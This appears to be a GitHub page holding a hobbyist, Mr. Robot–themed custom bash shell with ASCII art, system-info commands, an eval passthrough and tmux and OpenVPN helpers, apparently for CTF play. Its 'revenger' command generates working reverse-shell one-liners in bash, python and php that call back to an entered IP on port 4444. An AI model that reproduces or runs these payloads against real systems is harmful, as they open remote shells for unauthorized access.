-
Notifications
You must be signed in to change notification settings - Fork 0
/
Spy_ShellScript.sh
270 lines (253 loc) · 8.36 KB
/
Spy_ShellScript.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
#!/bin/bash -i
dontRemoveThisVar="SpyShell"
#color variables
red='\033[0;31m'
boldRED='\033[1;31m'
yellow='\033[1;33m'
green='\033[0;32m'
blue='\033[0;34m'
purple='\033[0;35m'
lightGRN='\033[1;32m'
lightBLUE='\033[1;34m'
nc='\033[0m'
#ascii art
fifth="""
& &
& && && &
& &&, &&* &
&& && && &&
&& &&&&& & & &&&&& *&&
&& /&&&& &&&&&&& &&&& &&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
& &&&&&&&&&&&&&&& &
&&&&&&&& &&&&& &&&&&&&&
&&&&&&&&&& &&& &&&&&&& &&& &&&&&&&&&&
&&& &&&& &&&&&&&&&&& &&&& &&&
&&& &&&& &&&&&&&&&&&&&&&&& &&&& &&&
&&& &&& &&&&&&&&&&&&&&& &&& &&&
&& && &&&&&&&&&&&&& && &&
&& &&& &&&&&&&&&&&&& &&& &&
&& && %&&&&&&&&&% && &&
&& && &&&&& && &&
& && && %
& %
"""
sixth="""
o__ __o __o o o__ __o
/v v\ __|> <|> /v v\
/> <\ | < \ /> <\
_\o____ \o_ __o <o> o__ __o/ o/ o o
\_\__o__ | v\ | /v | _<| <|> <|>
\ / \ <\ < > /> / \ \ < > < >
\ / \o/ / | \ \o/ \ / \o o/
o o | o o o | o o v\ /v
<\__ __/> / \ __/> __|>_ <\__ / \ <\__ __/> <\/>
\o/ /
| o
/ \ __/>
"""
#rc
shopt -s checkwinsize
set -o vi
set -o emacs
HISTCONTROL=ignoreboth
HISTSIZE=1000
HISTFILESIZE=2000
#main program
#confirm_exit function
trap 'confirm_exit' 2
confirm_exit(){
echo -e -n "${blue}"
read -r -p "Are you sure you want to exit? (y/n) " confirm
echo -e -n "${nc}"
if [ "$confirm" = "y" ]; then
echo -n -e "${blue}Exiting the script${nc}"
exit
else
echo -n -e "${blue}Cancled${nc}"
fi
}
#here mr.robot
mr_robot(){
clear
echo "3" | figlet
sleep 1
echo "2" | figlet
sleep 1
clear
echo "1" | figlet
sleep 1
clear
echo "Mr.Robot aka 'Elliot Alderson'" | figlet
sleep 1
clear
}
echo -e "${yellow}welcome to ${nc}${red}Sp1d3y's${nc}${yellow} naughty shell try any command like \"spy\"${nc}"
while :
do
#easy life things
name=$(whoami)
extVar=" in "
prompt=$'\033[1;33m;-)\033[0m\033[1;31m'${name}$'\033[0m\033[1;34m@'$(hostname)$'\033[0m\033[1;32m'${extVar}$'\033[0;34m'$(pwd)$'\033[0m\033[0;35m>>\033[0m\033[1;31m🕸️ \033[0m';
echo -n -e "${blue}"
read -i -e -p "${prompt} " cmd
history -s ${cmd}
echo -n -e "${nc}"
#figlet art
if [[ ${cmd} == "hello" ]]
then
echo -e "${yellow}welcome to ${nc}${red}Sp1d3y's${nc}${yellow} naughty shell${nc}"
echo -n -e "${boldRED}"
echo "${fifth}"
figlet -f small.flf "${cmd} $(whoami)"
echo -n -e "${nc}"
elif [[ ${cmd} == "initfun" || ${cmd} == "InitFun" || ${cmd} == "ini" || ${cmd} == "INITFUN" ]]
then
echo -n -e "${purple}"
eval FILE=$(find /home /root /usr/bin -name initfun.sh -exec grep -q "SpyShell" {} \; -print -quit)
echo -n -e "${nc}"
elif [[ ${cmd} == "spidey" || ${cmd} == "spy" || ${cmd} == "sp1d3y" ]]
then
echo -n -e "${boldRED}"
echo -e "${sixth}"
echo -n -e "${nc}"
elif [[ ${cmd} == "time" ]]
then
echo -n -e "${purple}"
date | awk '{print $4,$5,$6}' | figlet
echo -n -e "${nc}"
elif [[ ${cmd} == "date" ]]
then
echo -n -e "${purple}"
date | awk '{print $3,$2,$7}' | figlet
echo -n -e "${nc}"
elif [[ ${cmd} == "whoami" ]]
then
echo -n -e "${purple}"
${cmd} | figlet
echo -n -e "${nc}"
elif [[ ${cmd} == "hostname" ]]
then
echo -n -e "${purple}"
${cmd} | figlet
echo -n -e "${nc}"
elif [[ ${cmd} == "exit" || ${cmd} == "bye" ]]
then
echo -n -e "${boldRED}"
figlet -f small.flf "good bye $(whoami)"
exit
echo -n -e "${nc}"
elif [[ ${cmd} == "grabip" ]]
then
#print colored output2>/dev/null && ${cmd} 2>spyshell.log
echo -n -e "${boldRED}"
ifconfig | grep -E "inet [0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" | awk '{print $1,$2}' | figlet -f small.flf
echo -n -e "${nc}"
elif [[ ${cmd} == "whereami" ]]
then
echo -n -e "${boldRED}"
eval "pwd | figlet -f 'smbraille.flf'"
echo -n -e "${nc}"
elif [[ ${cmd} == "whichDistro" ]]
then
echo -n -e "${blue}"
uname | figlet -f "small.flf"
cat /etc/os-release | grep --color=never -w "NAME"
cat /etc/os-release | grep --color=never -w "VERSION"
lscpu | tr -s " " | grep --color=never -w "Architecture"
echo -n -e "CPU:"
lscpu | tr -s " " | grep --color=never -w "Model name:"
echo -n -e "Kernel:"
eval "uname -r"
echo -n -e "${nc}"
elif [[ ${cmd} == "pts" ]]
then
ls /dev/pts/2
elif [[ ${cmd} == "revenger" ]]
then
echo -n -e "${blue}"
echo "revenger" | figlet
echo "Enter target IP address:"
read ip_address
echo "Enter shell type (bash/python/php):"
read shell_type
if [ "$shell_type" = "bash" ]
then
rev_shell="bash -c \"/bin/bash -i >& /dev/tcp/$ip_address/4444 0>&1\""
elif [ "$shell_type" = "python" ]
then
rev_shell="python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ip_address\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
elif [ "$shell_type" = "php" ]
then
rev_shell="php -r '\$sock=fsockopen(\"$ip_address\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
elif [ "$shell_type" = "python3" ]
then
rev_shell="python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$ip_address\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")'"
else
echo "Invalid shell type. Valid options are bash, python, or php."
exit 1
fi
echo "$rev_shell" | xclip -selection clipboard
echo "Reverse shell generated and copied to clipboard!"
echo -n -e "${nc}"
elif [[ ${cmd} == "SplitV" ]]
then
echo -n -e "${purple}"
tmux split-window -v -c "./" "./SpyShell.sh"
tmux set -g mouse on
echo -n -e "${nc}"
elif [[ ${cmd} == "SplitH" ]]
then
echo -n -e "${purple}"
tmux split-window -h -c "./" "./SpyShell.sh"
echo -n -e "${nc}"
elif [[ ${cmd} == "tmux" ]]
then
echo -n -e "${purple}"
tmux new-session -n "SpyShell" "$(dirname "$0")/SpyShell.sh"
echo -n -e "${nc}"
elif [[ ${cmd} == "MRROBOT" || ${cmd} == "mr.robot" || ${cmd} == "mrrobot" || ${cmd} == "MrRobot" || ${cmd} == "Mr.Robot" || ${cmd} == "elliot" || ${cmd} == "ELLIOT" ]]
then
echo -n -e "${purple}"
mr_robot
echo -n -e "${nc}"
elif [[ ${cmd} == "binAnalyzer" ]]
then
echo -n -e "${red}"
echo "Analyzing binary..." | figlet -f "small.flf"
echo -n -e "${nc}"
elif [[ ${cmd} == "crackIt" ]]
then
echo -n -e "${purple}"
echo "crackIt" | figlet -f "small.flf"
echo -n -e "${nc}"
elif [[ ${cmd} == "themeDefault" ]]
then
echo -n -e "${purple}"
eval themes/mt/defaultTheme
echo -n -e "${nc}"
elif [[ ${cmd} == "spylistner" ]]
then
echo "spylistner will be here" | figlet
elif [[ ${cmd} == "COT" ]]
then
echo "chat over terminal" | figlet
elif [[ ${cmd} == "bash-compline" ]]
then
echo "bash completion without tab" | figlet
elif [[ ${cmd} == "koth setup" ]]
then
echo "starting koth setup" | figlet
#koth automation
elif [[ ${cmd} == "hello-friend" ]]
then
read -e -r -p "enter path of ovpn file : " path
nohup sudo openvpn ${path} 2>/dev/null &
elif [[ ${cmd} ]]
then
#print colored output2>/dev/null && ${cmd} 2>spyshell.log
echo -n -e "${purple}"
eval "${cmd}"
echo -n -e "${nc}"
fi
done